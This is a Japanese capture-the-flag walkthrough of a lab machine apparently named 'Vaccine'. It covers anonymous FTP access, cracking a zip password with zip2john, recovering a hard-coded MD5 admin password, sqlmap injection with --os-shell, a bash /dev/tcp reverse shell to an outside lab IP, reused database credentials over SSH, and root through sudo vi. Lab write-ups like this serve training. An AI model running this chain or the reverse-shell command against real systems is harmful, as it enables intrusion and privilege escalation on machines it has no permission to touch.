試みを注入。。失敗
ウェブページに有用なものがないことを発見
21 番ポートが開いている ftp を見てみる
接続成功、アカウント Anonymous、パスワードは空
ファイルを発見:backup.zip
kali に付属の zip2john を使用してパスワードを破る
パスワードを取得:741852963 (backup.zip)
unzip ファイル名 解凍
パスワードで解凍後、2 つのファイル (index.php、Style.css) を取得
index.php でこのようなコードを発見
``session_start();
if(isset($_POST['username']) && isset($_POST['password'])) {
if($_POST['username'] === 'admin' && md5($_POST['password']) === "2cb42f8734ea607eefed3b70af13bbd3") {
$_SESSION['login'] = "true";
header("Location: dashboard.php");
}
}
?>
MD5 で暗号化された値は qwerty789
同時にサイトのログインアドレスは :dashboard.php
ここでエラーを発見し、SQL インジェクションがあることを証明
sqlmap 注入を試みる:
sqlmap -u http://10.129.147.44/dashboard.php?search=1 --cookie PHPSESSID=5a28uftk57hrg3vrunr3cis8cs --batch --os-shell
取得したシェルは非対話型で、ここでリバースシェルを利用して対話型シェルを取得
bash -c "bash -i >& /dev/tcp/10.10.16.20/12123 0>&1"
ポート 12123 をリッスン
シェルを取得
postgres@vaccine:/var/lib/postgresql$ ls
ls
11
user.txt
postgres@vaccine:/var/lib/postgresql$ cat user.txt
cat user.txt
ec9b13ca4d6229cd5cc1e09980965bf7
www ディレクトリで dashboard.php にこのような情報を見つけた
try {
$conn = pg_connect("host=localhost port=5432 dbname=carsdb user=postgres password=P@s5w0rd!");
}
パスワードを取得し、ssh 接続を試みる
ssh postgres@10.129.147.44
ここで再び user.txt を発見
postgres@vaccine:~$ ls
11 user.txtpostgres@vaccine:~$ cat user.txtec9b13ca4d6229cd5cc1e09980965bf7
ここでは vi エディタを使用して権限昇格を行い、vi では直接コマンドを入力できる。なぜならこの vi は sudo で開かれているからで、呼び出されたシェルも root 権限である。
コマンド:sudo /bin/vi/etc/postgresql/11/main/pg_hba.conf
パスワード:P@s5w0rd!
vi 編集画面で、入力:!/bin/bash
権限昇格成功
=================================================================
ルートディレクトリで root.txt を発見
root@vaccine:~# ls
pg_hba.conf root.txt snap
root@vaccine:~# cat root
cat: root: No such file or directoryroot@vaccine:~# cat root.txt
これで flag を取得